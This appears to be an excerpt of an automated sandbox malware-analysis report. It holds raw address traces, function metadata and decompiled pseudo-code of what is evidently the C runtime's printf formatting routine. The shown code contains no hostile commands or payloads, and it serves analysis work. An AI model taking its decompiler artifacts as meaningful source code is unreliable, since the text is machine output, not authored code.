0x00b96b4f
0x00b96b55
0x00b96b55
0x00b96b79
0x00b96b14
0x00b96b14
0x00b96b20
0x00b96b26
0x00b96b26
0x00b96aec
0x00b96aec
0x00b96af8
0x00b96afe
0x00b96afe
0x00b96bbb
0x00b96bbb
0x00b96bbe
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00b9668d
0x00b9668d
0x00b96691
0x00b9669f
0x00b966a2
0x00b96693
0x00b96693
0x00b96693
0x00b966a8
0x00b966ae
0x00b966b4
0x00b966c0
0x00b966c6
0x00b966c6
0x00b966c9
0x00b96751
0x00b96751
0x00b96755
0x00b96757
0x00b9675d
0x00b9675d
0x00b96760
0x00b96767
0x00b9676a
0x00b96770
0x00b96770
0x00b96770
0x00b96776
0x00b9677c
0x00b9677f
0x00b96785
0x00b96787
0x00000000
0x00000000
0x00b96789
0x00b96789
0x00b9678f
0x00b96792
0x00b96794
0x00000000
0x00000000
0x00b96796
0x00b9679c
0x00b9679f
0x00b9679f
0x00b967a7
0x00b967a7
0x00b967ad
0x00b967ad
0x00b967b2
0x00000000
0x00b966cf
0x00b966cf
0x00b966cf
0x00b966d3
0x00b966d5
0x00b966da
0x00b966da
0x00b966dd
0x00b966e0
0x00b966e6
0x00b966f8
0x00b966f8
0x00b966f8
0x00b966fb
0x00b96701
0x00000000
0x00000000
0x00b96703
0x00b96703
0x00b96709
0x00b9670c
0x00b9670e
0x00000000
0x00000000
0x00b96710
0x00b96710
0x00b96719
0x00b9671f
0x00b96723
0x00b9672b
0x00b9672d
0x00b9672f
0x00b96735
0x00b96735
0x00b96738
0x00b96738
0x00b96744
0x00b96747
0x00b966ef
0x00b966f2
0x00b966f2
0x00b966f5
0x00b966f5
0x00b9674f
0x00b967b5
0x00b96d70
0x00b96d70
0x00b96d70
0x00b96d74
0x00000000
0x00000000
0x00000000
0x00b96d74
0x00b96d70
0x00000000
0x00b96a6d
0x00b96a6d
0x00b96ae2
0x00b96ae2
0x00b96ae5
0x00b96ae5
0x00b96aea
0x00b96b0c
0x00b96b0c
0x00b96b12
0x00b96b34
0x00b96b34
0x00b96b37
0x00b96b7e
0x00b96b7e
0x00b96b81
0x00b96b9e
0x00b96ba2
0x00b96baa
0x00b96baa
0x00b96bac
0x00b96bb2
0x00b96b83
0x00b96b83
0x00b96b87
0x00b96b8f
0x00b96b90
0x00b96b96
0x00b96b96
0x00b96b39
0x00b96b3c
0x00b96b3c
0x00b96b3f
0x00b96b5d
0x00b96b69
0x00b96b6c
0x00b96b6d
0x00b96b73
0x00b96b41
0x00b96b41
0x00b96b45
0x00b96b4d
0x00b96b4e
0x00b96b4f
0x00b96b55
0x00b96b55
0x00b96b79
0x00b96b14
0x00b96b14
0x00b96b20
0x00b96b26
0x00b96b26
0x00b96aec
0x00b96aec
0x00b96af8
0x00b96afe
0x00b96afe
0x00b96bbb
0x00b96bbb
0x00b96bbe
0x00000000
0x00000000
0x00000000
0x00b96bbe
0x00000000
0x00b96a89
0x00b96a89
0x00b96a93
0x00b96a93
0x00b96a9d
0x00b96a9d
0x00b96aa3
0x00b96aa5
0x00b96aaa
0x00b96ab4
0x00b96ab4
0x00b96ab7
0x00b96abb
0x00b96abb
0x00b96ae2
0x00b96ae2
0x00b96ae5
0x00b96ae5
0x00b96aea
0x00b96b0c
0x00b96b0c
0x00b96b12
0x00b96b34
0x00b96b34
0x00b96b37
0x00b96b7e
0x00b96b7e
0x00b96b81
0x00b96b9e
0x00b96ba2
0x00b96baa
0x00b96baa
0x00b96bac
0x00b96bb2
0x00b96b83
0x00b96b83
0x00b96b87
0x00b96b8f
0x00b96b90
0x00b96b96
0x00b96b96
0x00b96b39
0x00b96b3c
0x00b96b3c
0x00b96b3f
0x00b96b5d
0x00b96b69
0x00b96b6c
0x00b96b6d
0x00b96b73
0x00b96b41
0x00b96b41
0x00b96b45
0x00b96b4d
0x00b96b4e
0x00b96b4f
0x00b96b55
0x00b96b55
0x00b96b79
0x00b96b14
0x00b96b14
0x00b96b20
0x00b96b26
0x00b96b26
0x00b96aec
0x00b96aec
0x00b96af8
0x00b96afe
0x00b96afe
0x00b96bbb
0x00b96bbb
0x00b96bbe
0x00000000
0x00000000
0x00000000
0x00b96bbe
0x00000000
0x00b96d70
0x00b96d70
0x00b96d70
0x00b96d74
0x00000000
0x00000000
0x00000000
0x00b96d74
0x00000000
0x00000000
0x00b962f9
0x00b962f9
0x00b962fc
0x00b962ff
0x00000000
0x00000000
0x00b96304
0x00b96307
0x00b9630d
0x00000000
0x00000000
0x00b962ee
0x00b962f1
0x00b962f4
0x00000000
0x00000000
0x00b962e3
0x00b962e6
0x00b962e9
0x00000000
0x00000000
0x00b96312
0x00b96312
0x00b96315
0x00b96315
0x00b96318
0x00000000
0x00000000
0x00b9631b
0x00000000
0x00000000
0x00b9618b
0x00b9618b
0x00b9618d
0x00b9619b
0x00b9618f
0x00b9618f
0x00b9618f
0x00b961ab
0x00b961b8
0x00b961ba
0x00b961bf
0x00b961c1
0x00b961c6
0x00b961cb
0x00b961cd
0x00b961d2
0x00b961d8
0x00b961da
0x00b961da
0x00b961d8
0x00b961db
0x00b961e2
0x00000000
0x00b961e4
0x00b961e9
0x00b96205
0x00b9620d
0x00b9621a
0x00b9621f
0x00b97034
0x00b97041
0x00b97041
0x00b961e2
0x00b96185
0x00b96f70
0x00b96f70
0x00b96f77
0x00b96f8e
0x00b96f8e
0x00b96f98
0x00b96f98
0x00b96f9e
0x00b96fa4
0x00b96fab
0x00b96fad
0x00b96fb2
0x00b96fb4
0x00b96fb9
0x00b96fbe
0x00b96fc0
0x00b96fc5
0x00b96fc8
0x00b96fcb
0x00b96fcd
0x00b96fcd
0x00b96fcb
0x00b96fce
0x00b96fd5
0x00b97020
0x00b97029
0x00b9702e
0x00b96fd7
0x00b96fdc
0x00b96ff8
0x00b97000
0x00b9700d
0x00b97012
0x00b97012
0x00000000
0x00b96fd5
0x00b96f79
0x00b96f79
0x00b96f80
0x00000000
0x00000000
0x00b96f82
0x00b96f82
0x00000000
0x00b96f82
0x00b96d70
0x00b96d47
0x00b96d47
0x00b96d4b
0x00b96d58
0x00b96d5b
0x00b96d5e
0x00b96d61
0x00b96d64
0x00b96d67
0x00b96d6a
0x00b96d6a
0x00b96d6d
0x00000000
0x00b96d6d
0x00b96d4d
0x00b96d4d
0x00b96d50
0x00b96d53
0x00b96d56
0x00000000
0x00000000
0x00000000
0x00b96d56
0x00b96cac
0x00b96cac
0x00b96caf
0x00b96cb2
0x00b96cb9
0x00b96cc0
0x00b96cc8
0x00b96cce
0x00b96cd1
0x00b96cd4
0x00b96cdb
0x00b96ce7
0x00b96ced
0x00b96cf3
0x00b96cfa
0x00b96cfc
0x00b96d02
0x00b96d02
0x00b96d08
0x00b96d08
0x00b96d0e
0x00b96d17
0x00b96d1c
0x00b96d1f
0x00b96c8e
0x00b96c8e
0x00b96c94
0x00b96c97
0x00b96c9a
0x00b96c9c
0x00000000
0x00000000
0x00000000
0x00b96c9c
0x00b96c8e
0x00b96bcb
0x00b96bcb
0x00b96bd2
0x00000000
0x00000000
0x00000000
0x00b96c00
0x00b96c00
0x00b96c06
0x00b96c0c
0x00b96c12
0x00000000
0x00b96c12
0x00b96ae2
0x00b96a93
0x00b96a7d

APIs

_get_int64_arg.LIBCMTD ref: 00B96AF0
__aullrem.LIBCMT ref: 00B96CC0
__aulldiv.LIBCMT ref: 00B96CE2

Strings

9, xrefs: 00B96CF3

Memory Dump Source

Source File: 00000000.00000002.638265274.0000000000B71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B70000, based on PE: true

Associated: 00000000.00000002.638237207.0000000000B70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.638841801.0000000000D11000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.638905915.0000000000D16000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b70000_SecuriteInfo.jbxd

Similarity

API ID: __aulldiv__aullrem_get_int64_arg
String ID: 9
API String ID: 3120068967-2366072709
Opcode ID: e4a718f8682224933c29800a7b4d73113a8892c4c9a4d370997bf5c4ab0103cd
Instruction ID: 5bcae7cf2ea4e196f02d64da30b78dc3416f26e2345c5debc9fed8dcbca2ffdc
Opcode Fuzzy Hash: e4a718f8682224933c29800a7b4d73113a8892c4c9a4d370997bf5c4ab0103cd
Instruction Fuzzy Hash: B641D2B1E106299FDF24CF58C881BAEB7B5FF85314F1041E8E189AB241D7749A84CF59

Uniqueness

Uniqueness Score: -1.00%

Function 00B96AC4 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 100COMMON

Download Yara Rule

APIs

_get_int64_arg.LIBCMTD ref: 00B96AF0
__aullrem.LIBCMT ref: 00B96CC0
__aulldiv.LIBCMT ref: 00B96CE2

Strings

9, xrefs: 00B96CF3

Memory Dump Source

Source File: 00000000.00000002.638265274.0000000000B71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B70000, based on PE: true

Associated: 00000000.00000002.638237207.0000000000B70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.638841801.0000000000D11000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.638905915.0000000000D16000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b70000_SecuriteInfo.jbxd

Similarity

API ID: __aulldiv__aullrem_get_int64_arg
String ID: 9
API String ID: 3120068967-2366072709
Opcode ID: 8afe1225593388a94f1002279619d41a385deb8ec489c5aff2d7c33724165833
Instruction ID: 6eb40f7c6641b4e68a2cd2dc33d9e6b387743079a76ae9db8a071dc4745d340e
Opcode Fuzzy Hash: 8afe1225593388a94f1002279619d41a385deb8ec489c5aff2d7c33724165833
Instruction Fuzzy Hash: 9341C3B1E105299FDF24CF58C981BAEB7B5FB85310F1081E8E189AB241D7349A80CF59

Uniqueness

Uniqueness Score: -1.00%

Function 00B9574C Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 100
COMMON

Download Yara Rule

C-Code - Quality: 69%

			E00B9574C() {
				signed int _t496;
				signed int _t518;
				void* _t523;
				signed int _t525;
				void* _t545;
				signed int _t563;
				signed int _t576;
				signed int _t580;
				signed short _t581;
				signed int _t584;
				signed int _t587;
				signed int _t588;
				intOrPtr _t589;
				signed int _t611;
				signed int _t639;
				signed int _t647;
				signed int _t649;
				signed int _t651;
				signed int _t658;
				signed int _t662;
				signed int _t698;
				intOrPtr _t699;
				intOrPtr _t700;
				signed int _t701;
				void* _t703;

				L0:
				while(1) {
					L0:
					 *(_t701 - 8) = 8;
					if(( *(_t701 - 0x10) & 0x00000080) != 0) {
						__edx =  *(__ebp - 0x10);
						__edx =  *(__ebp - 0x10) | 0x00000200;
						__eflags = __edx;
						 *(__ebp - 0x10) = __edx;
					}
					while(1) {
						L153:
						__eflags =  *(_t701 - 0x10) & 0x00008000;
						if(( *(_t701 - 0x10) & 0x00008000) == 0) {
							_t649 =  *(_t701 - 0x10) & 0x00001000;
							__eflags = _t649;
							if(_t649 == 0) {
								__eflags =  *(_t701 - 0x10) & 0x00000020;
								if(( *(_t701 - 0x10) & 0x00000020) == 0) {
									_t651 =  *(_t701 - 0x10) & 0x00000040;
									__eflags = _t651;
									if(_t651 == 0) {
										_t496 = E00B93D50(_t701 + 0x14);
										_t703 = _t703 + 4;
										__eflags = 0;
										 *(_t701 - 0x2b8) = _t496;
										 *(_t701 - 0x2b4) = 0;
									} else {
										_t580 = E00B93D50(_t701 + 0x14);
										_t703 = _t703 + 4;
										asm("cdq");
										 *(_t701 - 0x2b8) = _t580;
										 *(_t701 - 0x2b4) = _t651;
									}
								} else {
									_t698 =  *(_t701 - 0x10) & 0x00000040;
									__eflags = _t698;
									if(_t698 == 0) {
										_t581 = E00B93D50(_t701 + 0x14);
										_t703 = _t703 + 4;
										asm("cdq");
										 *(_t701 - 0x2b8) = _t581 & 0x0000ffff;
										 *(_t701 - 0x2b4) = _t698;
									} else {
										_t584 = E00B93D50(_t701 + 0x14);
										_t703 = _t703 + 4;
										asm("cdq");
										 *(_t701 - 0x2b8) = _t584;
										 *(_t701 - 0x2b4) = _t698;
									}
								}
							} else {
								_t587 = E00B93D70(_t701 + 0x14);
								_t703 = _t703 + 4;
								 *(_t701 - 0x2b8) = _t587;
								 *(_t701 - 0x2b4) = _t649;
							}
						} else {
							_t588 = E00B93D70(_t701 + 0x14);
							_t703 = _t703 + 4;
							 *(_t701 - 0x2b8) = _t588;
							 *(_t701 - 0x2b4) = _t647;
						}
						__eflags =  *(_t701 - 0x10) & 0x00000040;
						if(( *(_t701 - 0x10) & 0x00000040) == 0) {
							goto L170;
						}
						L166:
						__eflags =  *(_t701 - 0x2b4);
						if(__eflags > 0) {
							goto L170;
						}
						L167:
						if(__eflags < 0) {
							L169:
							asm("adc edx, 0x0");
							 *(_t701 - 0x2c0) =  ~( *(_t701 - 0x2b8));
							 *(_t701 - 0x2bc) =  ~( *(_t701 - 0x2b4));
							 *(_t701 - 0x10) =  *(_t701 - 0x10) | 0x00000100;
							L171:
							__eflags =  *(_t701 - 0x10) & 0x00008000;
							if(( *(_t701 - 0x10) & 0x00008000) == 0) {
								__eflags =  *(_t701 - 0x10) & 0x00001000;
								if(( *(_t701 - 0x10) & 0x00001000) == 0) {
									_t576 =  *(_t701 - 0x2bc) & 0x00000000;
									__eflags = _t576;
									 *(_t701 - 0x2bc) = _t576;
								}
							}
							__eflags =  *(_t701 - 0x30);
							if( *(_t701 - 0x30) >= 0) {
								 *(_t701 - 0x10) =  *(_t701 - 0x10) & 0xfffffff7;
								__eflags =  *(_t701 - 0x30) - 0x200;
								if( *(_t701 - 0x30) > 0x200) {
									 *(_t701 - 0x30) = 0x200;
								}
							} else {
								 *(_t701 - 0x30) = 1;
							}
							__eflags =  *(_t701 - 0x2c0) |  *(_t701 - 0x2bc);
							if(( *(_t701 - 0x2c0) |  *(_t701 - 0x2bc)) == 0) {
								 *(_t701 - 0x1c) = 0;
							}
							 *((intOrPtr*)(_t701 - 4)) = _t701 - 0x49;
							while(1) {
								L181:
								_t657 =  *(_t701 - 0x30) - 1;
								 *(_t701 - 0x30) =  *(_t701 - 0x30) - 1;
								__eflags =  *(_t701 - 0x30);
								if( *(_t701 - 0x30) > 0) {
									goto L183;
								}
								L182:
								__eflags =  *(_t701 - 0x2c0) |  *(_t701 - 0x2bc);
								if(( *(_t701 - 0x2c0) |  *(_t701 - 0x2bc)) == 0) {
									L186:
									 *(_t701 - 0x24) = _t701 - 0x49 -  *((intOrPtr*)(_t701 - 4));
									 *((intOrPtr*)(_t701 - 4)) =  *((intOrPtr*)(_t701 - 4)) + 1;
									__eflags =  *(_t701 - 0x10) & 0x00000200;
									if(( *(_t701 - 0x10) & 0x00000200) == 0) {
										while(1) {
											L190:
											__eflags =  *(_t701 - 0x28);
											if( *(_t701 - 0x28) != 0) {
												goto L216;
											}
											L191:
											__eflags =  *(_t701 - 0x10) & 0x00000040;
											if(( *(_t701 - 0x10) & 0x00000040) != 0) {
												__eflags =  *(_t701 - 0x10) & 0x00000100;
												if(( *(_t701 - 0x10) & 0x00000100) == 0) {
													__eflags =  *(_t701 - 0x10) & 0x00000001;
													if(( *(_t701 - 0x10) & 0x00000001) == 0) {
														__eflags =  *(_t701 - 0x10) & 0x00000002;
														if(( *(_t701 - 0x10) & 0x00000002) != 0) {
															 *((char*)(_t701 - 0x14)) = 0x20;
															 *(_t701 - 0x1c) = 1;
														}
													} else {
														 *((char*)(_t701 - 0x14)) = 0x2b;
														 *(_t701 - 0x1c) = 1;
													}
												} else {
													 *((char*)(_t701 - 0x14)) = 0x2d;
													 *(_t701 - 0x1c) = 1;
												}
											}
											 *((intOrPtr*)(_t701 - 0x2c4)) =  *((intOrPtr*)(_t701 - 0x18)) -  *(_t701 - 0x24) -  *(_t701 - 0x1c);
											__eflags =  *(_t701 - 0x10) & 0x0000000c;
											if(( *(_t701 - 0x10) & 0x0000000c) == 0) {
												E00B95E80(0x20,  *((intOrPtr*)(_t701 - 0x2c4)),  *((intOrPtr*)(_t701 + 8)), _t701 - 0x24c);
												_t703 = _t703 + 0x10;
											}
											E00B95EC0( *(_t701 - 0x1c), _t701 - 0x14,  *(_t701 - 0x1c),  *((intOrPtr*)(_t701 + 8)), _t701 - 0x24c);
											_t703 = _t703 + 0x10;
											__eflags =  *(_t701 - 0x10) & 0x00000008;
											if(( *(_t701 - 0x10) & 0x00000008) != 0) {
												__eflags =  *(_t701 - 0x10) & 0x00000004;
												if(( *(_t701 - 0x10) & 0x00000004) == 0) {
													E00B95E80(0x30,  *((intOrPtr*)(_t701 - 0x2c4)),  *((intOrPtr*)(_t701 + 8)), _t701 - 0x24c);
													_t703 = _t703 + 0x10;
												}
											}
											__eflags =  *(_t701 - 0xc);
											if( *(_t701 - 0xc) == 0) {
												L212:
												E00B95EC0( *((intOrPtr*)(_t701 - 4)),  *((intOrPtr*)(_t701 - 4)),  *(_t701 - 0x24),  *((intOrPtr*)(_t701 + 8)), _t701 - 0x24c);
												_t703 = _t703 + 0x10;
												goto L213;
											} else {
												L204:
												__eflags =  *(_t701 - 0x24);
												if( *(_t701 - 0x24) <= 0) {
													goto L212;
												}
												L205:
												 *(_t701 - 0x2dc) = 0;
												 *((intOrPtr*)(_t701 - 0x2c8)) =  *((intOrPtr*)(_t701 - 4));
												 *(_t701 - 0x2cc) =  *(_t701 - 0x24);
												while(1) {
													L206:
													 *(_t701 - 0x2cc) =  *(_t701 - 0x2cc) - 1;
													__eflags =  *(_t701 - 0x2cc);
													if( *(_t701 - 0x2cc) == 0) {
														break;
													}
													L207:
													 *(_t701 - 0x32e) =  *((intOrPtr*)( *((intOrPtr*)(_t701 - 0x2c8))));
													_t563 = E00B97890(_t701 - 0x2d0, _t701 - 0x2d8, 6,  *(_t701 - 0x32e) & 0x0000ffff);
													_t703 = _t703 + 0x10;
													 *(_t701 - 0x2dc) = _t563;
													 *((intOrPtr*)(_t701 - 0x2c8)) =  *((intOrPtr*)(_t701 - 0x2c8)) + 2;
													__eflags =  *(_t701 - 0x2dc);
													if( *(_t701 - 0x2dc) != 0) {
														L209:
														 *(_t701 - 0x24c) = 0xffffffff;
														break;
													}
													L208:
													__eflags =  *(_t701 - 0x2d0);
													if( *(_t701 - 0x2d0) != 0) {
														L210:
														E00B95EC0( *((intOrPtr*)(_t701 + 8)), _t701 - 0x2d8,  *(_t701 - 0x2d0),  *((intOrPtr*)(_t701 + 8)), _t701 - 0x24c);
														_t703 = _t703 + 0x10;
														continue;
													}
													goto L209;
												}
												L211:
												L213:
												__eflags =  *(_t701 - 0x24c);
												if( *(_t701 - 0x24c) >= 0) {
													__eflags =  *(_t701 - 0x10) & 0x00000004;
													if(( *(_t701 - 0x10) & 0x00000004) != 0) {
														E00B95E80(0x20,  *((intOrPtr*)(_t701 - 0x2c4)),  *((intOrPtr*)(_t701 + 8)), _t701 - 0x24c);
														_t703 = _t703 + 0x10;
													}
												}
											}
											L216:
											__eflags =  *(_t701 - 0x20);
											if( *(_t701 - 0x20) != 0) {
												L00B7EB20( *(_t701 - 0x20), 2);
												_t703 = _t703 + 8;
												 *(_t701 - 0x20) = 0;
											}
											while(1) {
												L218:
												 *(_t701 - 0x251) =  *( *(_t701 + 0xc));
												_t665 =  *(_t701 - 0x251);
												 *(_t701 + 0xc) =  *(_t701 + 0xc) + 1;
												if( *(_t701 - 0x251) == 0 ||  *(_t701 - 0x24c) < 0) {
													break;
												} else {
													if( *(_t701 - 0x251) < 0x20 ||  *(_t701 - 0x251) > 0x78) {
														 *(_t701 - 0x310) = 0;
													} else {
														 *(_t701 - 0x310) =  *( *(_t701 - 0x251) +  &M00B77B58) & 0xf;
													}
												}
												L7:
												 *(_t701 - 0x250) =  *(_t701 - 0x310);
												_t525 =  *(_t701 - 0x250) * 9;
												_t611 =  *(_t701 - 0x25c);
												_t665 = ( *(_t525 + _t611 + 0xb77b78) & 0x000000ff) >> 4;
												 *(_t701 - 0x25c) = ( *(_t525 + _t611 + 0xb77b78) & 0x000000ff) >> 4;
												if( *(_t701 - 0x25c) != 8) {
													L16:
													 *(_t701 - 0x318) =  *(_t701 - 0x25c);
													__eflags =  *(_t701 - 0x318) - 7;
													if( *(_t701 - 0x318) > 7) {
														continue;
													}
													L17:
													switch( *((intOrPtr*)( *(_t701 - 0x318) * 4 +  &M00B95CD0))) {
														case 0:
															L18:
															 *(_t701 - 0xc) = 0;
															_t528 = E00B91090( *(_t701 - 0x251) & 0x000000ff, E00B7C680(_t701 - 0x40));
															_t706 = _t703 + 8;
															__eflags = _t528;
															if(_t528 == 0) {
																L24:
																E00B95DE0( *(_t701 - 0x251) & 0x000000ff,  *(_t701 - 0x251) & 0x000000ff,  *((intOrPtr*)(_t701 + 8)), _t701 - 0x24c);
																_t703 = _t706 + 0xc;
																goto L218;
															} else {
																E00B95DE0( *((intOrPtr*)(_t701 + 8)),  *(_t701 - 0x251) & 0x000000ff,  *((intOrPtr*)(_t701 + 8)), _t701 - 0x24c);
																_t706 = _t706 + 0xc;
																_t616 =  *( *(_t701 + 0xc));
																 *(_t701 - 0x251) =  *( *(_t701 + 0xc));
																_t665 =  *(_t701 + 0xc) + 1;
																__eflags = _t665;
																 *(_t701 + 0xc) = _t665;
																asm("sbb eax, eax");
																 *(_t701 - 0x27c) =  ~( ~( *(_t701 - 0x251)));
																if(_t665 == 0) {
																	_push(L"(ch != _T(\'\\0\'))");
																	_push(0);
																	_push(0x486);
																	_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
																	_push(2);
																	_t540 = L00B7D760();
																	_t706 = _t706 + 0x14;
																	__eflags = _t540 - 1;
																	if(_t540 == 1) {
																		asm("int3");
																	}
																}
																L22:
																__eflags =  *(_t701 - 0x27c);
																if( *(_t701 - 0x27c) != 0) {
																	goto L24;
																} else {
																	 *((intOrPtr*)(L00B80C60(_t616))) = 0x16;
																	E00B809F0(_t589, _t616, _t699, _t700, L"(ch != _T(\'\\0\'))", L"_output_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x486, 0);
																	 *(_t701 - 0x2f4) = 0xffffffff;
																	E00B7C650(_t701 - 0x40);
																	_t518 =  *(_t701 - 0x2f4);
																	goto L229;
																}
															}
														case 1:
															L25:
															 *(__ebp - 0x2c) = 0;
															__edx =  *(__ebp - 0x2c);
															 *(__ebp - 0x28) =  *(__ebp - 0x2c);
															__eax =  *(__ebp - 0x28);
															 *(__ebp - 0x18) =  *(__ebp - 0x28);
															__ecx =  *(__ebp - 0x18);
															 *(__ebp - 0x1c) = __ecx;
															 *(__ebp - 0x10) = 0;
															 *(__ebp - 0x30) = 0xffffffff;
															 *(__ebp - 0xc) = 0;
															goto L218;
														case 2:
															L26:
															__edx =  *((char*)(__ebp - 0x251));
															 *(__ebp - 0x31c) =  *((char*)(__ebp - 0x251));
															 *(__ebp - 0x31c) =  *(__ebp - 0x31c) - 0x20;
															 *(__ebp - 0x31c) =  *(__ebp - 0x31c) - 0x20;
															__eflags =  *(__ebp - 0x31c) - 0x10;
															if( *(__ebp - 0x31c) > 0x10) {
																goto L33;
															}
															L27:
															__ecx =  *(__ebp - 0x31c);
															_t73 = __ecx + 0xb95d08; // 0x498d04
															__edx =  *_t73 & 0x000000ff;
															switch( *((intOrPtr*)(( *_t73 & 0x000000ff) * 4 +  &M00B95CF0))) {
																case 0:
																	goto L30;
																case 1:
																	goto L31;
																case 2:
																	goto L29;
																case 3:
																	goto L28;
																case 4:
																	goto L32;
																case 5:
																	goto L33;
															}
														case 3:
															L34:
															__edx =  *((char*)(__ebp - 0x251));
															__eflags =  *((char*)(__ebp - 0x251)) - 0x2a;
															if( *((char*)(__ebp - 0x251)) != 0x2a) {
																__eax =  *(__ebp - 0x18);
																__eax =  *(__ebp - 0x18) * 0xa;
																__eflags = __eax;
																__ecx =  *((char*)(__ebp - 0x251));
																_t97 = __ecx - 0x30; // -48
																__edx = __eax + _t97;
																 *(__ebp - 0x18) = __eax + _t97;
															} else {
																__eax = __ebp + 0x14;
																 *(__ebp - 0x18) = E00B93D50(__ebp + 0x14);
																__eflags =  *(__ebp - 0x18);
																if( *(__ebp - 0x18) < 0) {
																	__ecx =  *(__ebp - 0x10);
																	__ecx =  *(__ebp - 0x10) | 0x00000004;
																	__eflags = __ecx;
																	 *(__ebp - 0x10) = __ecx;
																	 *(__ebp - 0x18) =  ~( *(__ebp - 0x18));
																	 *(__ebp - 0x18) =  ~( *(__ebp - 0x18));
																}
															}
															goto L218;
														case 4:
															L40:
															 *(__ebp - 0x30) = 0;
															goto L218;
														case 5:
															L41:
															__eax =  *((char*)(__ebp - 0x251));
															__eflags =  *((char*)(__ebp - 0x251)) - 0x2a;
															if( *((char*)(__ebp - 0x251)) != 0x2a) {
																__edx =  *(__ebp - 0x30);
																__edx =  *(__ebp - 0x30) * 0xa;
																__eflags = __edx;
																_t108 =  *((char*)(__ebp - 0x251)) - 0x30; // -48
																__ecx = __edx + _t108;
																 *(__ebp - 0x30) = __ecx;
															} else {
																__ecx = __ebp + 0x14;
																 *(__ebp - 0x30) = E00B93D50(__ebp + 0x14);
																__eflags =  *(__ebp - 0x30);
																if( *(__ebp - 0x30) < 0) {
																	 *(__ebp - 0x30) = 0xffffffff;
																}
															}
															goto L218;
														case 6:
															L47:
															__edx =  *((char*)(__ebp - 0x251));
															 *(__ebp - 0x320) =  *((char*)(__ebp - 0x251));
															 *(__ebp - 0x320) =  *(__ebp - 0x320) - 0x49;
															 *(__ebp - 0x320) =  *(__ebp - 0x320) - 0x49;
															__eflags =  *(__ebp - 0x320) - 0x2e;
															if( *(__ebp - 0x320) > 0x2e) {
																L70:
																goto L218;
															}
															L48:
															__ecx =  *(__ebp - 0x320);
															_t116 = __ecx + 0xb95d30; // 0x553e9003
															__edx =  *_t116 & 0x000000ff;
															switch( *((intOrPtr*)(( *_t116 & 0x000000ff) * 4 +  &M00B95D1C))) {
																case 0:
																	L53:
																	__edx =  *(__ebp + 0xc);
																	__eax =  *( *(__ebp + 0xc));
																	__eflags =  *( *(__ebp + 0xc)) - 0x36;
																	if( *( *(__ebp + 0xc)) != 0x36) {
																		L56:
																		__edx =  *(__ebp + 0xc);
																		__eax =  *( *(__ebp + 0xc));
																		__eflags =  *( *(__ebp + 0xc)) - 0x33;
																		if( *( *(__ebp + 0xc)) != 0x33) {
																			L59:
																			__edx =  *(__ebp + 0xc);
																			__eax =  *( *(__ebp + 0xc));
																			__eflags =  *( *(__ebp + 0xc)) - 0x64;
																			if( *( *(__ebp + 0xc)) == 0x64) {
																				L65:
																				L67:
																				goto L70;
																			}
																			L60:
																			__ecx =  *(__ebp + 0xc);
																			__edx =  *__ecx;
																			__eflags =  *__ecx - 0x69;
																			if( *__ecx == 0x69) {
																				goto L65;
																			}
																			L61:
																			__eax =  *(__ebp + 0xc);
																			__ecx =  *( *(__ebp + 0xc));
																			__eflags = __ecx - 0x6f;
																			if(__ecx == 0x6f) {
																				goto L65;
																			}
																			L62:
																			__edx =  *(__ebp + 0xc);
																			__eax =  *( *(__ebp + 0xc));
																			__eflags =  *( *(__ebp + 0xc)) - 0x75;
																			if( *( *(__ebp + 0xc)) == 0x75) {
																				goto L65;
																			}
																			L63:
																			__ecx =  *(__ebp + 0xc);
																			__edx =  *__ecx;
																			__eflags =  *__ecx - 0x78;
																			if( *__ecx == 0x78) {
																				goto L65;
																			}
																			L64:
																			__eax =  *(__ebp + 0xc);
																			__ecx =  *( *(__ebp + 0xc));
																			__eflags = __ecx - 0x58;
																			if(__ecx != 0x58) {
																				 *(__ebp - 0x25c) = 0;
																				goto L18;
																			}
																			goto L65;
																		}
																		L57:
																		__ecx =  *(__ebp + 0xc);
																		__edx =  *((char*)(__ecx + 1));
																		__eflags =  *((char*)(__ecx + 1)) - 0x32;
																		if( *((char*)(__ecx + 1)) != 0x32) {
																			goto L59;
																		} else {
																			 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
																			 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
																			__ecx =  *(__ebp - 0x10);
																			__ecx =  *(__ebp - 0x10) & 0xffff7fff;
																			 *(__ebp - 0x10) = __ecx;
																			goto L67;
																		}
																	}
																	L54:
																	__ecx =  *(__ebp + 0xc);
																	__edx =  *((char*)(__ecx + 1));
																	__eflags =  *((char*)(__ecx + 1)) - 0x34;
																	if( *((char*)(__ecx + 1)) != 0x34) {
																		goto L56;
																	} else {
																		 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
																		 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
																		__ecx =  *(__ebp - 0x10);
																		__ecx =  *(__ebp - 0x10) | 0x00008000;
																		 *(__ebp - 0x10) = __ecx;
																		goto L67;
																	}
																case 1:
																	L68:
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000020;
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000020;
																	goto L70;
																case 2:
																	L49:
																	__eax =  *(__ebp + 0xc);
																	__ecx =  *( *(__ebp + 0xc));
																	__eflags = __ecx - 0x6c;
																	if(__ecx != 0x6c) {
																		__ecx =  *(__ebp - 0x10);
																		__ecx =  *(__ebp - 0x10) | 0x00000010;
																		__eflags = __ecx;
																		 *(__ebp - 0x10) = __ecx;
																	} else {
																		 *(__ebp + 0xc) =  *(__ebp + 0xc) + 1;
																		 *(__ebp + 0xc) =  *(__ebp + 0xc) + 1;
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00001000;
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00001000;
																	}
